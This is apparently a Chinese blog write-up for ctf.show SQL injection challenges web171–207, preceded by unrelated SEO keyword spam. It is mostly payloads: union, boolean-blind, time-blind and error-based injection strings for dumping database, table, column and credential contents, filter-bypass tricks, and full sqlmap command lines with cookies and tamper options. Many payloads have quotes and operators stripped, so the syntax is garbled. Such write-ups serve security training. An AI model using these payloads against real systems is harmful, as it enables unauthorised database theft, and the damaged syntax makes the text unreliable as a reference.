网站做排名2015年,注册传媒公司需要多少钱,wordpress 翻译主题,医生咨询在线24小时免费文章目录 SQL注入基本流程普通SQL注入布尔盲注时间盲注报错注入——extractvalue()报错注入——updataxml()Sqlmap的用法 web 171——正常联合查询web 172——查看源代码、联合查询web 173——查看源代码、联合查询web 174——布尔盲注web 176web 177——过滤空格web 178——过… 文章目录 SQL注入基本流程普通SQL注入布尔盲注时间盲注报错注入——extractvalue()报错注入——updataxml()Sqlmap的用法 web 171——正常联合查询web 172——查看源代码、联合查询web 173——查看源代码、联合查询web 174——布尔盲注web 176web 177——过滤空格web 178——过滤空格web 179——过滤空格web 180——过滤空格web 181web 182web 201——referer、user-agentweb 202——dataweb 203——method、headersweb 204——cookieweb 205——鉴权web 206——前后闭合web 207——tamper、过滤空格 SQL注入基本流程
普通SQL注入 id1 //报错说明有注入点id1 and 11 # //正确id1 and 12 # //错误说明是数字型注入否则为字符型注入id1 order by 数字 # //判断字段数id1 and 12 union select 1,2,3, ... # //查看回显点id1 and 12 union select 1,2,database(), ... # //查看数据库名id1 and 12 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema数据库名) # //查看表名id1 and 12 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema数据库名 and table_name表名) # //查看字段名id1 and 12 union select 1,(select group_concat(concat(字段1,%23,字段2)) from 数据库名.表名) # //查看字段内容使用union select的时候需要使前面一条语句错误。 关于注释符#、-- 有个空格和--的讨论 get请求中只能用--。 url中#是用来指导浏览器动作的对服务器端无效在url传输过程中-- 中的空格会被忽略。post请求中则都可以。 布尔盲注 id1 //报错说明有注入点id1 and 11 # //正确id1 and 12 # //错误说明是数字型注入否则为字符型注入id1 and length(database())1 # //判断数据库名长度id1 and ascii(substr(database(),1,1))98 # //猜数据库名id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())1 # // 猜表的个数id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0,1))103 # // 猜第一个表名的长度id1 and (selectcount(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers)8 # // 猜user表中的字段个数id1 and length((select column_name from information_schema.columns where table_nameusers limit 0,1))7 # //猜user表中第一个字段的长度id1 and ascii(substr((select column_name frominformation_schema.columns where table_nameusers limit 0,1),1,1))117 # //猜user表中第一个字段的第一个字母id1 and length((select user from dvwa.users limit 0,1))5 # // 猜user表中user字段内容的长度id1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))97 # //猜user表中中user字段值的首字母时间盲注 id1 and sleep(5) # //数字型则等待5秒id1 and sleep(5) # //字符型则等待5秒id1 and if(length(database())4,sleep(5),1) # //猜数据库名长度id1 and if(ascii((substr(database(),1,1)))100,sleep(5),1) # //猜数据库名id1 and if(select count(table_name) from information_schema.tables where table_schemadatabase(),sleep(5),1)1 # // 猜表的个数id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0,1))103,sleep(5),1) # // 猜第一个表名的长度id1 and if((selectcount(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers)8,sleep(5),1) # // 猜user表中的字段个数id1 and if(length((select column_name from information_schema.columns where table_nameusers limit 0,1))7,sleep(5),1) # //猜user表中第一个字段的长度id1 and if(ascii(substr((select column_name frominformation_schema.columns where table_nameusers limit 0,1),1,1))117,sleep(5),1) # //猜user表中第一个字段的第一个字母id1 and if(length((select user from dvwa.users limit 0,1))5,sleep(5),1) # // 猜user表中user字段内容的长度id1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))97,sleep(5),1) # //猜user表中中user字段值的首字母报错注入——extractvalue()
id1 # //报错说明有注入点
id1 and 11 # //正确
id1 and 12 # //错误说明是数字型注入否则为字符型注入id1 and (select extractvalue(1,concat(~,(select database())))) -- //爆出当前数据库名
id1 and (select extractvalue(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema数据库名)))) -- //查看数据库中的表
id1 and (select extractvalue(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_schema数据库名 and table_name表名)))) -- //查看表中的字段名
id1 and (select extractvalue(1,concat(~,(select group_concat(concat(字段1,%23,字段2))))) -- //查看字段内容 进行报错注入的时候需要对id参数进行闭合。 报错注入——updataxml()
id1 # //报错说明有注入点
id1 and 11 # //正确
id1 and 12 # //错误说明是数字型注入否则为字符型注入id1 and (select updatexml(1,concat(~ ,(select database()), ~),1)) -- //爆出当前数据库名
id1 and (select updatexml(1,concat(~ ,(select group_concat(table_name) from information_schema.tables where table_schema数据库名), ~),1)) //查看数据库中的表
id1 and (select updatexml(1,concat(~ ,(select group_concat(column_name) from information_schema.columns where table_schema数据库名 and table_name表名), ~),1)) //查看表中的字段名
id1 and (select updatexml(1,concat(~ ,(select group_concat(concat(字段1,%23,字段2))), ~),1)) -- //查看字段内容Sqlmap的用法
sqlmap
sqlmap -u url //-u选项是检测注入点
sqlmap -u url --dbs //--dbs选项是列出所有数据库名
sqlmap -u url --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u url -D 数据库名 --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u url -D 数据库名 -T 表名 --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u url -D 数据库名 -T 表名 -C 字段名 --dump //-C是指定字段 --dump是列出字段内容web 171——正常联合查询 首先判断是否存在SQL注入
id1 # 使用单引号看报不报错报错就说明存在SQL注入id1 order by 3 -- 注意如果id1--这里面的注释--是不起效的。 id-1 union select 1,2,3 -- # union前面的查询语句必须为false这样页面才会显示出第二个select语句的结果。-1 union select database(),(select group_concat(table_name) from information_schema.tables where table_schemactfshow_web),(select group_concat(column_name) from information_schema.columns where table_schemactfshow_web and table_namectfshow_user) -- # 查看数据库名、表名、字段名-1 union select 1,2,(select group_concat(concat(username,%23,password)) from ctfshow_web.ctfshow_user) -- # 查看字段内容web 172——查看源代码、联合查询
查看页面源代码发现一个js文件。访问该文件会发现一个查询接口/api?id1 id1 //报错说明有注入点id1 and 11 # //正确id1 and 12 # //正确说明不是数字型注入id1 and 11 # 正确id1 and 12 # //错误说明是单引号闭合的字符型注入id1 order by 数字 # //判断字段数id-1 union select 1,2,3, ... # //查看回显点id-1 union select 1,2,database(), ... # //查看数据库名id-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema数据库名) # //查看表名id-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema数据库名 and table_name表名) # //查看字段名id-1 union select 1,(select group_concat(concat(字段1,%23,字段2)) from 数据库名.表名) # //查看字段内容注意关于and 11和and 12前者恒为真如果and前面的语句有内容则正常输出后者恒为假如果and前面的语句有内容也不会输出。故可以通过他们俩来判断SQL注入类型。 web 173——查看源代码、联合查询
同web172
web 174——布尔盲注
id1 //判断是否存在SQL注入
id1 and 11 # //正确
id1 and 12 # //正确说明不是数字型注入id1 and 11 # //正确
id1 and 12 # //错误说明是单引号闭合的字符型注入
id 1 and length(database())11 -- //通过布尔盲注猜测数据库长度web 176
1 or 11 --web 177——过滤空格
空格被过滤就用/**/替换。
web 178——过滤空格
空格被过滤/**/也用不了用%09或%0b替换。
web 179——过滤空格
空格被过滤/**/、%09或%0b也用不了用%0c替换。
web 180——过滤空格
空格被过滤/**/、、%09或%0b也用不了用%0c或%2b(的url编码)替换。
web 181
payload: 0or(usernameflag)and1插入payload后语句变成: select id,username,password from ctfshow_user where username ! flag and id 0or(usernameflag)and1 limit 1;
因为and 的优先级比 or 要高故注入后 select id,username,password from ctfshow_user where username ! flag and id 0or(usernameflag) limit 1;前面满足条件 id0 的记录不存在故该语句可简化为 select id,username,password from ctfshow_user where (0) or(usernameflag)and1 limit 1;先计算 and再计算 or最后得到满足 usernameflag 的记录即 flag。
web 182
payload: -1or(username%0clike%0c%fla%)and%0c1。不知道为啥这里%0c没有被过滤。
web 201——referer、user-agent
这一关开始使用sqlmap。 User-Agent需要为sqlmapreferer需要为stf.show。 一种方法是抓取数据包让sqlmap跑数据包另一种方法是用-u参数指定要测试的网址--user-agent用来指定UA头--referer伪造referer。命令如下
python sqlmap.py -r test.txt //跑数据包
python sqlmap.py -u http://6e28402d-8f54-45bc-8a52-657ffc3c35fe.challenge.ctf.show/api/?id1page1limit10 --user-agentsqlmap --refererctf.show跑数据包的时候在需要跑的参数后面加*。-u参数中链接用双引号、加上协议。 web 202——data
--data指定 sqlmap 以 post 方式提交数据。
python sqlmap.py -u https://604a8386-7689-44bb-a7e1-b532cbe9ff5a.challenge.ctf.show/api/index.php --data id1 --user-agentsqlmap --refererctf.showweb 203——method、headers
--methodput更改http请求方式为putput请求用于向服务器更新指定资源。--headers用来告诉服务器这次传输的数据格式。
python sqlmap.py -u http://a8e2bd07-1e16-4e83-9752-5634117000e4.challenge.ctf.show/api/index.php --data id1 --user-agentsqlmap --refererctf.show --methodput --headerContent-Type:text/plainweb 204——cookie
--cookie在请求头中添加cookie字段。
python sqlmap.py -u http://5c93dea2-8127-4efb-915b-7564efdc6107.challenge.ctf.show/api/index.php --data id1 --user-agentsqlmap --refererctf.show --methodput --headersContent-Type:text/plain --cookiePHPSESSIDjc9bhjq7q61trcapiu02gm6430; ctfshow124cf7ab13ecc64b6e21a9de8cdb8511要将url链接写完整index.php都要加上
web 205——鉴权
这一关在正式查询之前会先访问/api/getToken.php进行鉴权。--safe-urlSAFEURL设置在测试目标地址前访问的安全链接。--safe-freq1每次测试请求之后都会访问一下的安全 URL。
python sqlmap.py -u http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/index.php --data id1 --user-agentsqlmap --refererctf.show --methodput --headersContent-Type:text/plain --cookiePHPSESSIDvlqa3pc2obqitu6addelltlqj7 --safe-urlhttp://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/getToken.php --safe-freq1web 206——前后闭合
这一关需要闭合前面的(所以--prefic)闭合(--suffic#注释掉查询语句后面的部分。
python sqlmap.py -u http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/index.php --data id1 --user-agentsqlmap --refererctf.show --methodput --headersContent-Type:text/plain --cookiePHPSESSIDggtmp49c0gjq9fihihrhkij83m --safe-urlhttp://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/getToken.php --safe-freq1 --prefix) --suffix#web 207——tamper、过滤空格
过滤空格
python sqlmap.py -u http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/index.php --data id1 --user-agentsqlmap --refererctf.show --methodput --headersContent-Type:text/plain --cookiePHPSESSID43010km376i0fhhmsn6lopr3r3 --safe-urlhttp://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/getToken.php --safe-freq1 --prefix) --suffix# --tamperspace2comment